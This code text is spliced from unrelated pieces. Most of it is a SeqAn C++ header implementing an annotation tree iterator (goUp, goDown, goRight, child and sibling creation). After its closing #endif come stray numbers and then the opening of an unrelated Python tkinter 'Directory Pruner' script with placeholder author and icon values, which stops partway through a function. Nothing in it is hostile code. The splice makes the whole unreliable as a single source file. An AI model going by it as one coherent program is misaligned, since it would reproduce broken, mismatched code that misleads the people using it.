TPos beginPos; // begin position of the annotation in the gapped contig sequence (i.e. in gap-space)
TPos endPos; // end position of ..., for annotations on the reverse strand holds end < begin
TId lastChildId; // generated back links to child
TId nextSiblingId; // and sibling
TValues values; // stores values for each keyId of (key,value) pairs
AnnotationStoreElement() :
parentId(INVALID_ID), contigId(INVALID_ID), countId(INVALID_ID), typeId(INVALID_ID),
beginPos(INVALID_POS), endPos(INVALID_POS),
lastChildId(INVALID_ID), nextSiblingId(INVALID_ID) {}
};
//////////////////////////////////////////////////////////////////////////////
template <typename TPos, typename TSpec>
const typename Id<AnnotationStoreElement<TPos, TSpec> >::Type
AnnotationStoreElement<TPos, TSpec>::INVALID_ID = std::numeric_limits<typename Id<AnnotationStoreElement<TPos, TSpec> >::Type>::max();
template <typename TPos, typename TSpec>
const TPos
AnnotationStoreElement<TPos, TSpec>::INVALID_POS = std::numeric_limits<TPos>::max();
//////////////////////////////////////////////////////////////////////////////
template <typename TSpec = void>
struct AnnotationTree {};
/*!
* @class AnnotationTreeIterator
* @extends Iter
* @headerfile <seqan/store.h>
* @brief Iterator of the annotation tree represetned by a @link FragmentStore @endlink.
*
* This iterator can move @link AnnotationTreeIterator#goDown down @endlink, @link AnnotationTreeIterator#goRight right
* @endlink, and @link AnnotationTreeIterator#goUp up @endlink in the tree and supports a preorder DFS traversal using
* the functions @link RootedRandomAccessIteratorConcept#goBegin @endlink, @link InputIteratorConcept#goNext @endlink,
* and @link RootedIteratorConcept#atEnd @endlink.
*
* Preorder means that the iterator visits the node before it visits its children.
*
* To obtain the type of the AnnotationTreeIterator for a FragmentStore specializiation <tt>TFragmentStore</tt>, you can
* use the metafunction @link ContainerConcept#Iterator Iterator @endlink as follows:
* <tt>Iterator<TFragmentStore>::Type</tt>.
*
* @signature template <typename TFragmentStore>
* class Iter<TFragmentStore, AnnotationTree<> >;
*
* @tparam TFragmentStore The FragmentStore to iterate over.
*
* @section Remarks
*
* To access the annotation, the iterator points to, use @link AnnotationTreeIterator#getAnnotation @endlink. The
* annotation id is returned by @link IteratorAssociatedTypesConcept#value @endlink.
*
* @section Example
*
* <img src="AnnotationTree.png" title="Typical annotation tree hierarchy." />
*
* A new annotation iterator can be instantiated as follows:
*
* @code{.cpp}
* FragmentStore<> store;
* Iterator<FragmentStore<>, AnnotationTree<> >::Type it;
* it = begin(store, AnnotationTree<>());
* @endcode
*
* Or shorter:
*
* @code{.cpp}
* FragmentStore<> store;
* Iterator<FragmentStore<>, AnnotationTree<> >::Type it(store);
* @endcode
*
*
* @fn AnnotationTreeIterator::AnnotationTreeIterator
* @brief Constructor
*
* @signature Iter::Iter();
* @signature Iter::Iter(store[, startInNode]);
*
* @param[in] store The FragmentStore with the annotation tree to iterate.
* @param[in] startInNode Annotation id of the ndoe the iterator should start at. Default: 0, the root node id.
*
* The @link ContainerConcept#begin @endlink function can also be used to create a tree iterator that starts in the root
* node:
*
* @code{.cpp}
* FragmentStore<> store;
* Iterator<FragmentStore<>, AnnotationTree<> >::Type it;
* it = begin(store, AnnotationTree<>());
* @endcode
*/
template <typename TFragmentStore, typename TSpec>
class Iter<TFragmentStore, AnnotationTree<TSpec> >
{
public:
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TFragmentStore *store;
TId _id;
Iter():
store(NULL),
_id(TAnnotation::INVALID_ID) {}
Iter(TFragmentStore &_store):
store(&_store),
_id(0) {}
Iter(TFragmentStore &_store, TId startInNode):
store(&_store),
_id(startInNode) {}
Iter(TFragmentStore &_store, MinimalCtor):
store(&_store),
_id(TAnnotation::INVALID_ID) {}
inline Iter const &
operator = (Iter const &_origin)
{
store = &container(_origin);
_id = _origin._id;
return *this;
}
};
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
struct Iterator< TFragmentStore, AnnotationTree<TSpec> > {
typedef Iter< TFragmentStore, AnnotationTree<TSpec> > Type;
};
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
struct Value< Iter< TFragmentStore, AnnotationTree<TSpec> > >:
VertexDescriptor<TFragmentStore> {};
template <typename TFragmentStore, typename TSpec>
struct Size< Iter< TFragmentStore, AnnotationTree<TSpec> > > :
Size<TFragmentStore> {};
template <typename TFragmentStore, typename TSpec>
struct Position< Iter< TFragmentStore, AnnotationTree<TSpec> > > :
Position<TFragmentStore> {};
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
inline typename VertexDescriptor<TFragmentStore>::Type &
value(Iter< TFragmentStore, AnnotationTree<TSpec> > &it) {
return it._id;
}
template <typename TFragmentStore, typename TSpec>
inline typename VertexDescriptor<TFragmentStore>::Type const &
value(Iter< TFragmentStore, AnnotationTree<TSpec> > const &it) {
return it._id;
}
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
inline TFragmentStore &
container(Iter< TFragmentStore, AnnotationTree<TSpec> > &it) {
return *it.store;
}
template <typename TFragmentStore, typename TSpec>
inline TFragmentStore &
container(Iter< TFragmentStore, AnnotationTree<TSpec> > const &it) {
return *it.store;
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#getAnnotation
* @brief Returns the current annotation.
*
* @signature TAnnotation getAnnotation(it);
*
* @param[in] it The AnnotationTreeIterator to query for its annotation.
*
* @return TAnnotation A reference to the AnnotationStoreElement the iterator points to.
*/
// TODO(holtgrew): Better use Reference in both cases?
template <typename TFragmentStore, typename TSpec>
inline typename GetValue<typename TFragmentStore::TAnnotationStore>::Type
getAnnotation(Iter<TFragmentStore const, AnnotationTree<TSpec> > const & it)
{
return getValue(it.store->annotationStore, it._id);
}
template <typename TFragmentStore, typename TSpec>
inline typename Reference<typename TFragmentStore::TAnnotationStore>::Type
getAnnotation(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
return value(it.store->annotationStore, it._id);
}
/*!
* @fn AnnotationTreeIterator#getName
* @brief Returns the identifier of the current annotation.
*
* @signature TName getName(it);
*
* @param[in] it An AnnotationTreeIterator to query.
*
* @return TName The name of the current annotation. This is a reference to the corresponding position in @link
* FragmentStore::annotationNameStore @endlink.
*
* @see AnnotationTreeIterator#setName
*/
template <typename TFragmentStore, typename TSpec>
inline typename GetValue<typename TFragmentStore::TAnnotationNameStore>::Type
getName(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
return getAnnoName(*it.store, it._id);
}
/*!
* @fn AnnotationTreeIterator#setName
* @brief Sets the identifier of the current annotation.
*
* @signature void setName(it, name);
*
* @param[in,out] it Iterator to the annotation to set the name for.
* @param[in] name The new identifier of the annotation pointed to by it.
*
* @see AnnotationTreeIterator#getName
*/
template <typename TFragmentStore, typename TSpec, typename TName>
inline void
setName(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it, TName const & name)
{
if (length(it.store->annotationNameStore) <= it._id)
resize(it.store->annotationNameStore, it._id + 1);
it.store->annotationNameStore[it._id] = name;
}
/*!
* @fn AnnotationTreeIterator#getParentName
* @brief Returns the identifier of the parent node in the annotationt ree of the current annotation.
*
* @signature TName getParentName(it);
*
* @param[in] it The AnnotationTreeIterator to get the name for.
*
* @return TName The name of the parent of the current annotation. This is a reference to the corresponding value in
* @link FragmentStore::annotationNameStore @endlink.
*/
template <typename TFragmentStore, typename TSpec>
inline typename GetValue<typename TFragmentStore::TAnnotationNameStore>::Type
getParentName(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TId parentId = it.store->annotationStore[it._id].parentId;
if (parentId == TAnnotation::INVALID_ID) parentId = it._id;
return getAnnoName(*it.store, parentId);
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#getType
* @brief Returns the type name of the current annotation.
*
* @signature TSeq getType(it);
*
* @param[in] it The AnnotationTreeIterator to query for its type.
*
* @return The name of the current annotation, e.g. "exon" or "mRNA". This is a reference to an entry in @link
* FragmentStore::annotationTypeStore @endlink.
*
* @see AnnotationTreeIterator#setType
*/
template <typename TFragmentStore, typename TSpec>
inline typename GetValue<typename TFragmentStore::TAnnotationTypeStore>::Type
getType(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
return getAnnoType(*it.store, getAnnotation(it).typeId);
}
/*!
* @fn AnnotationTreeIterator#setType
* @brief Sets the type name of the current annotation.
*
* @signature void setType(it, typeName);
*
* @param[in,out] it The iterator to the annotation to set the type name for.
* @param[in] typeName The name of the type (e.g. "exon" or "mRNA"). Type: @link ContainerConcept @endlink.
*
* @see AnnotationTreeIterator#getType
*/
template <typename TFragmentStore, typename TSpec, typename TTypeName>
inline void
setType(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it, TTypeName & typeName)
{
_storeAppendType(*it.store, getAnnotation(it).typeId, typeName);
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#getUniqueName
* @brief Returns a unique name of the current annotation.
*
* @signature CharString getUniqueName(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*
* @return CharString A unique name of the current annotation.
*
* Some annotation file formats do not require that every annotation has a non-empty name. This function returns the
* name if non-emtpy and otherwise generates one using the type an id.
*
* @see AnnotationTreeIterator#getName
*/
template <typename TFragmentStore, typename TSpec>
inline CharString
getUniqueName(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
return getAnnoUniqueName(*it.store, it._id);
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#clearValues
* @brief Clear all key-value pairs of a given annotation.
*
* @signature void clearValues(it);
*
* @param[in,out] it The AnnotationTreeIterator to clear all key-value pairs of the current annotation.
*
* @see AnnotationTreeIterator#assignValueByKey
* @see AnnotationTreeIterator#getValueByKey
*/
template <typename TFragmentStore, typename TSpec>
inline void
clearValues(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
clear(getAnnotation(it).values);
}
/*!
* @fn AnnotationTreeIterator#assignValueByKey
* @brief Add or update a key-value pair of the current annotation.
*
* @signature void assignValueByKey(it, key, value);
*
* @param[in,out] it The AnnotationTreeIterator to
* @param[in] key The key whose value should be changed. Type: @link ContainerConcept @endlink.
* @param[in] value The value that should be assigned. Type: @link ContainerConcept @endlink.
*
* @see AnnotationTreeIterator#clearValues
* @see AnnotationTreeIterator#getValueByKey
*/
template <typename TFragmentStore, typename TSpec, typename TKey, typename TValue>
inline void
assignValueByKey(
Iter<TFragmentStore, AnnotationTree<TSpec> > & it,
TKey const & key,
TValue const & value)
{
annotationAssignValueByKey(*it.store, getAnnotation(it), key, value);
}
/*!
* @fn AnnotationTreeIterator#getValueByKey
* @brief Retrieve a key's value in the current annotation.
*
* @signature bool getValueByKey(it, key);
* @signature bool getValueByKey(value, it, key);
*
* @param[in] it The AnnotationTreeIterator for which to retrieve the key.
* @param[in] key The key to get the value for.
* @param[out] value The resulting value.
*
* @see AnnotationTreeIterator#clearValues
* @see AnnotationTreeIterator#assignValueByKey
*/
template <typename TFragmentStore, typename TSpec, typename TKey, typename TValue>
inline bool
getValueByKey(
TValue & value,
Iter<TFragmentStore, AnnotationTree<TSpec> > const & it,
TKey const & key)
{
return annotationGetValueByKey(*it.store, getAnnotation(it), key, value);
}
template <typename TFragmentStore, typename TSpec, typename TKey>
inline CharString
getValueByKey(
Iter<TFragmentStore, AnnotationTree<TSpec> > const & it,
TKey const & key)
{
return annotationGetValueByKey(*it.store, getAnnotation(it), key);
}
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
inline void
goBegin(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
it._id = 0;
}
template <typename TFragmentStore, typename TSpec>
inline void
goEnd(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
it._id = TAnnotation::INVALID_ID;
}
/*!
* @fn AnnotationTreeIterator#goTo
* @brief Moves the iterator to an arbitrary node giving its annotationId.
*
* @signature void goTo(it, annoId);
*
* @param[in,out] it The AnnotationTreeIterator to move.
* @param[in] annoId The id of the annotation to move to.
*/
template <typename TFragmentStore, typename TSpec, typename TId>
inline void
goTo(Iter<TFragmentStore, AnnotationTree<TSpec> > & it, TId _id)
{
it._id = _id;
}
template <typename TFragmentStore, typename TSpec>
inline void
clear(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
it._id = TAnnotation::INVALID_ID;
}
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
inline bool
atBegin(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
return it._id == 0;
}
template <typename TFragmentStore, typename TSpec>
inline bool
atEnd(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
return it._id == TAnnotation::INVALID_ID;
}
//////////////////////////////////////////////////////////////////////////////
template <typename TFragmentStore, typename TSpec>
inline void
goNext(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
// preorder dfs
if (!goDown(it) && !goRight(it))
while (goUp(it) && !goRight(it)) ;
if (isRoot(it)) {
clear(it);
return;
}
}
/*!
* @fn AnnotationTreeIterator#goNextRight
* @brief Go to the next node in preorder DFS skipping the current node's subtree.
*
* @signature void goNextUp(it);
*
* @param[in,out] it The AnnotationTreeIterator to
*/
template <typename TFragmentStore, typename TSpec>
inline void
goNextRight(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
// preorder dfs
if (!goRight(it))
while (goUp(it) && !goRight(it)) ;
if (isRoot(it)) {
clear(it);
return;
}
}
/*!
* @fn AnnotationTreeIterator#goNextUp
* @brief Go to the next node in preorder DFS skipping the subtrees of the current node and all of its siblings.
*
* @signature void goNextUp(it);
*
* @param[in,out] it The AnnotationTreeIterator to
*/
template <typename TFragmentStore, typename TSpec>
inline void
goNextUp(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
// preorder DFS
while (goUp(it) && !goRight(it)) ;
if (isRoot(it)) {
clear(it);
return;
}
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#goRoot
* @brief Move the iterator down to the tree root.
*
* @signature void goRoot(it);
*
* @param[in,out] it The AnnotationTreeIterator to move.
*/
template <typename TFragmentStore, typename TSpec>
inline void
goRoot(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
it._id = 0;
}
/*!
* @fn AnnotationTreeIterator#goUp
* @brief Move the iterator down to the parent in the annotation tree.
*
* @signature bool goUp(it);
*
* @param[in,out] it The AnnotationTreeIterator to move.
*
* @return bool <tt>true</tt> if the iterator could be moved and <tt>false</tt> otherwise.
*
* @see AnnotationTreeIterator#goDown
* @see AnnotationTreeIterator#goRight
*/
template <typename TFragmentStore, typename TSpec>
inline bool
goUp(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TId parentId = getAnnotation(it).parentId;
if (parentId != TAnnotation::INVALID_ID)
{
it._id = parentId;
return true;
}
return false;
}
/*!
* @fn AnnotationTreeIterator#goDown
* @brief Move the iterator down to the leftmost child in the annotation tree.
*
* @signature bool goDown(it);
*
* @param[in,out] it The AnnotationTreeIterator to move.
*
* @return bool <tt>true</tt> if the iterator could be moved and <tt>false</tt> otherwise.
*
* @see AnnotationTreeIterator#goUp
* @see AnnotationTreeIterator#goRight
*/
template <typename TFragmentStore, typename TSpec>
inline bool
goDown(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TId lastChildId = getAnnotation(it).lastChildId;
if (lastChildId != TAnnotation::INVALID_ID)
{
it._id = it.store->annotationStore[lastChildId].nextSiblingId;
return true;
}
return false;
}
/*!
* @fn AnnotationTreeIterator#goRight
* @brief Move the iterator right to the next sibling in the annotation tree.
*
* @signature bool goRight(it);
*
* @param[in,out] it The AnnotationTreeIterator to move.
*
* @return bool <tt>true</tt> if the iterator could be moved and <tt>false</tt> otherwise.
*
* @see AnnotationTreeIterator#goUp
* @see AnnotationTreeIterator#goDown
*/
template <typename TFragmentStore, typename TSpec>
inline bool
goRight(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TAnnotation const &anno = getAnnotation(it);
TId nextSiblingId = anno.nextSiblingId;
if (nextSiblingId != TAnnotation::INVALID_ID)
{
TId lastChildId = it.store->annotationStore[anno.parentId].lastChildId;
if (it._id != lastChildId)
{
it._id = nextSiblingId;
return true;
}
}
return false;
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#nodeUp
* @brief Returns a new iterator to the parent node of the current annotation in the annotation tree.
*
* @signature TIter nodeUp(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*
* @return TIter Iterator to the parent node.
*
* @see AnnotationTreeIterator#nodeDown
* @see AnnotationTreeIterator#nodeRight
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
nodeUp(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
Iter<TFragmentStore, AnnotationTree<TSpec> > tmp(it);
goUp(tmp);
return tmp;
}
/*!
* @fn AnnotationTreeIterator#nodeDown
* @brief Returns a new iterator to the first child node of the current annotation in the annotation tree.
*
* @signature TIter nodeDown(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*
* @return TIter Iterator to the first child node of it.
*
* @see AnnotationTreeIterator#nodeUp
* @see AnnotationTreeIterator#nodeRight
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
nodeDown(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
Iter<TFragmentStore, AnnotationTree<TSpec> > tmp(it);
goDown(tmp);
return tmp;
}
/*!
* @fn AnnotationTreeIterator#nodeRight
* @brief Returns a new iterator to the right sibling of the current annotation in the annotation tree.
*
* @signature TIter nodeRight(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*
* @return TIter Iterator to the right sibling of it.
*
* @see AnnotationTreeIterator#nodeUp
* @see AnnotationTreeIterator#nodeDown
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
nodeRight(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
Iter<TFragmentStore, AnnotationTree<TSpec> > tmp(it);
goRight(tmp);
return tmp;
}
//////////////////////////////////////////////////////////////////////////////
// insert a new _id into a cyclic list and returns new last child _id
template <typename TAnnotationStore, typename TId>
inline TId
_cyclicListFrontInsert(TAnnotationStore & annotationStore, TId newId, TId lastChildId)
{
typedef typename Value<TAnnotationStore>::Type TAnnotation;
TId nextId, newLastId;
if (lastChildId != TAnnotation::INVALID_ID)
{
// get last node in the cycle
TAnnotation &lastChild = annotationStore[lastChildId];
// last child points to first child
nextId = lastChild.nextSiblingId;
// insert new node between last and first
lastChild.nextSiblingId = newId;
// last child remains the same
newLastId = lastChildId;
} else
// cyclic list was empty
newLastId = nextId = newId;
// link new node to former first node
annotationStore[newId].nextSiblingId = nextId;
return newLastId;
}
// delete an _id from a cyclic list and returns new last child _id
template <typename TAnnotationStore, typename TId>
inline TId
_cyclicListSearchPrev(TAnnotationStore & annotationStore, TId _id, TId lastChildId)
{
typedef typename Value<TAnnotationStore>::Type TAnnotation;
if (lastChildId == TAnnotation::INVALID_ID)
return TAnnotation::INVALID_ID;
TId prevId, i = lastChildId;
do {
prevId = i;
i = annotationStore[i].nextSiblingId;
if (i == _id) break;
} while (i != lastChildId);
if (i == _id)
return prevId;
else
return TAnnotation::INVALID_ID;
}
// delete an _id from a cyclic list and returns new last child _id
template <typename TAnnotationStore, typename TId>
inline TId
_cyclicListRemove(TAnnotationStore & annotationStore, TId _id, TId lastChildId)
{
typedef typename Value<TAnnotationStore>::Type TAnnotation;
TId prevId = _cyclicListSearchPrev(annotationStore, _id, lastChildId);
if (prevId != TAnnotation::INVALID_ID)
{
annotationStore[prevId].nextSiblingId = annotationStore[_id].nextSiblingId;
if (_id == lastChildId)
{
if (prevId != _id)
return prevId;
else
return TAnnotation::INVALID_ID;
} else
return lastChildId;
}
return lastChildId;
}
/*!
* @fn AnnotationTreeIterator#createLeftChild
* @brief Create a new leftmost child of the current node and returns an iterator to it.
*
* @signature TIter createLeftChild(it);
*
* @param[in,out] it The AnnotationTreeIterator to create a left child for.
*
* @return TIter Iterator to the new child.
*
* @see AnnotationTreeIterator#createRightChild
* @see AnnotationTreeIterator#createSibling
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
createLeftChild(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
appendValue(it.store->annotationStore, getAnnotation(it));
TAnnotation &parentAnno = getAnnotation(it);
TId childId = length(it.store->annotationStore) - 1;
TAnnotation &childAnno = it.store->annotationStore[childId];
parentAnno.lastChildId = _cyclicListFrontInsert(it.store->annotationStore, childId, parentAnno.lastChildId);
childAnno.parentId = it._id;
childAnno.lastChildId = TAnnotation::INVALID_ID;
Iter<TFragmentStore, AnnotationTree<TSpec> > childIter(it);
childIter._id = childId;
return childIter;
}
/*!
* @fn AnnotationTreeIterator#createRightChild
* @brief Creates a new rightmost child of the current node and returns an iterator to it.
*
* @signature TIter createRightChild(it);
*
* @param[in,out] it The AnnotationTreeIterator that was just created.
*
* @return TIter Iterator to the new child.
*
* @see AnnotationTreeIterator#createLeftChild
* @see AnnotationTreeIterator#createSibling
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
createRightChild(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
appendValue(it.store->annotationStore, getAnnotation(it));
TAnnotation &parentAnno = getAnnotation(it);
TId childId = length(it.store->annotationStore) - 1;
TAnnotation &childAnno = it.store->annotationStore[childId];
_cyclicListFrontInsert(it.store->annotationStore, childId, parentAnno.lastChildId);
parentAnno.lastChildId = childId;
childAnno.parentId = it._id;
childAnno.lastChildId = TAnnotation::INVALID_ID;
Iter<TFragmentStore, AnnotationTree<TSpec> > childIter(it);
childIter._id = childId;
return childIter;
}
/*!
* @fn AnnotationTreeIterator#createSibling
* @brief Creates a new right sibling of the current node and return an iterator to it.
*
* @signature TIter createSibling(it);
*
* @param[in] it The AnnotationTreeIterator to create the sibling for.
*
* @return TIter Iterator to the new sibling.
*
* @see AnnotationTreeIterator#createLeftChild
* @see AnnotationTreeIterator#createRightChild
*/
template <typename TFragmentStore, typename TSpec>
inline Iter<TFragmentStore, AnnotationTree<TSpec> >
createSibling(Iter<TFragmentStore, AnnotationTree<TSpec> > & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
appendValue(it.store->annotationStore, getAnnotation(it));
TAnnotation &anno = getAnnotation(it);
TId siblingId = length(it.store->annotationStore) - 1;
TAnnotation &parentAnno = it.store->annotationStore[anno.parentId];
if (parentAnno.lastChildId == it._id)
parentAnno.lastChildId = siblingId;
TAnnotation &siblingAnno = it.store->annotationStore[siblingId];
siblingAnno.nextSiblingId = anno.nextSiblingId;
siblingAnno.parentId = anno.parentId;
siblingAnno.lastChildId = TAnnotation::INVALID_ID;
anno.nextSiblingId = siblingId;
Iter<TFragmentStore, AnnotationTree<TSpec> > siblingIter(it);
siblingIter._id = siblingId;
return siblingIter;
}
//////////////////////////////////////////////////////////////////////////////
/*!
* @fn AnnotationTreeIterator#isRoot
* @brief Return a boolean indicating whether the annotation is the root.
*
* @signature bool isRoot(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*/
template <typename TFragmentStore, typename TSpec>
inline bool
isRoot(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
// if (it._id >= length(it.store->annotationStore)) return false;
return it.store->annotationStore[it._id].parentId == TAnnotation::INVALID_ID;
}
/*!
* @fn AnnotationTreeIterator#isLeaf
* @brief Return a boolean indicating whether the annotation is a leaf.
*
* @signature bool isLeaf(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*/
template <typename TFragmentStore, typename TSpec>
inline bool
isLeaf(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
// if (it._id >= length(it.store->annotationStore)) return false;
return it.store->annotationStore[it._id].lastChildId == TAnnotation::INVALID_ID;
}
/*!
* @fn AnnotationTreeIterator#isLastChild
* @brief Returns a boolean value that indicates whether the current node is the last child.
*
* @signature bool isLastChild(it);
*
* @param[in] it The AnnotationTreeIterator to query.
*/
template <typename TFragmentStore, typename TSpec>
inline bool
isLastChild(Iter<TFragmentStore, AnnotationTree<TSpec> > const & it)
{
typedef typename TFragmentStore::TAnnotationStore TAnnotationStore;
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
TAnnotation const &anno = getAnnotation(it);
TId nextSiblingId = anno.nextSiblingId;
if (nextSiblingId != TAnnotation::INVALID_ID)
{
TId lastChildId = it.store->annotationStore[anno.parentId].lastChildId;
return it._id == lastChildId;
}
return true;
}
//////////////////////////////////////////////////////////////////////////////
template <typename TAnnotationStore>
inline void
_storeClearAnnoBackLinks(TAnnotationStore & me)
{
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename Iterator<TAnnotationStore, Standard>::Type TAnnoIter;
TAnnoIter it = begin(me, Standard());
TAnnoIter itEnd = end(me, Standard());
for (; it != itEnd; ++it)
{
(*it).lastChildId = TAnnotation::INVALID_ID;
(*it).nextSiblingId = TAnnotation::INVALID_ID;
}
}
template <typename TAnnotationStore>
inline void
_storeCreateAnnoBackLinks(TAnnotationStore & me)
{
typedef typename Value<TAnnotationStore>::Type TAnnotation;
typedef typename TAnnotation::TId TId;
typedef typename Iterator<TAnnotationStore, Standard>::Type TAnnoIter;
TAnnoIter itBegin = begin(me, Standard());
TAnnoIter itEnd = end(me, Standard());
TId _id = (itEnd - itBegin) - 1;
TAnnoIter it = itBegin + _id;
for (; itBegin <= it; --it, --_id)
{
if ((*it).parentId != TAnnotation::INVALID_ID)
{
TAnnoIter parent = itBegin + (*it).parentId;
if ((*parent).lastChildId == TAnnotation::INVALID_ID)
{
(*parent).lastChildId = _id;
(*it).nextSiblingId = _id;
}
if ((*it).nextSiblingId == TAnnotation::INVALID_ID)
{
TAnnoIter lastChild = itBegin + (*parent).lastChildId;
(*it).nextSiblingId = (*lastChild).nextSiblingId;
(*lastChild).nextSiblingId = _id;
}
}
else
(*it).nextSiblingId = TAnnotation::INVALID_ID;
}
}
template <typename TPos, typename TSpec>
inline std::ostream &
operator << (std::ostream & out, AnnotationStoreElement<TPos, TSpec> const & anno)
{
out << "parentId: \t" << anno.parentId << std::endl;
out << "contigId: \t" << anno.contigId << std::endl;
out << "countId: \t" << anno.countId << std::endl;
out << "typeId: \t" << anno.typeId << std::endl;
out << "beginPos: \t" << anno.beginPos << std::endl;
out << "endPos: \t" << anno.endPos << std::endl;
out << "lastChildId: \t" << anno.lastChildId << std::endl;
out << "nextSiblingId:\t" << anno.nextSiblingId << std::endl;
return out;
}
}// namespace seqan
#endif //#ifndef SEQAN_HEADER_...
| 14,052
|
2,023
|
#! /usr/bin/env python
"""Module providing GUI capability to prune any directory.
The code presented in this module is for the purposes of: (1) ascertaining
the space taken up by a directory, its files, its sub-directories, and its
sub-files; (2) allowing for the removal of the sub-files, sub-directories,
files, and directory found in the first purpose; (3) giving the user a GUI
to accomplish said purposes in a convenient way that is easily accessible."""
################################################################################
__author__ = '<NAME> <<EMAIL>>'
__date__ = '15 February 2011'
__version__ = '$Revision: 298 $'
################################################################################
# Import several GUI libraries.
import tkinter
import tkinter.ttk
import tkinter.filedialog
import tkinter.messagebox
# Import other needed modules.
import zlib
import base64
import os
import math
################################################################################
ICON = b'<KEY>
<KEY>
<KEY>
################################################################################
class GUISizeTree(tkinter.ttk.Frame):
"Widget for examining size of directory with optional deletion."
WARN = True # Should warnings be made for permanent operations?
MENU = True # Should the (destructive) context menu be enabled?
# Give names to columns.
CLMS = 'total_size', 'file_size', 'path'
TREE = '#0'
########################################################################
# Allow direct execution of GUISizeTree widget.
@classmethod
def main(cls):
"Create an application containing a single GUISizeTree widget."
tkinter.NoDefaultRoot()
root = cls.create_application_root()
cls.attach_window_icon(root, ICON)
view = cls.setup_class_instance(root)
root.mainloop()
@staticmethod
def create_application_root():
"Create and configure the main application window."
root = tkinter.Tk()
root.minsize(430, 215)
root.title('Directory Pruner')
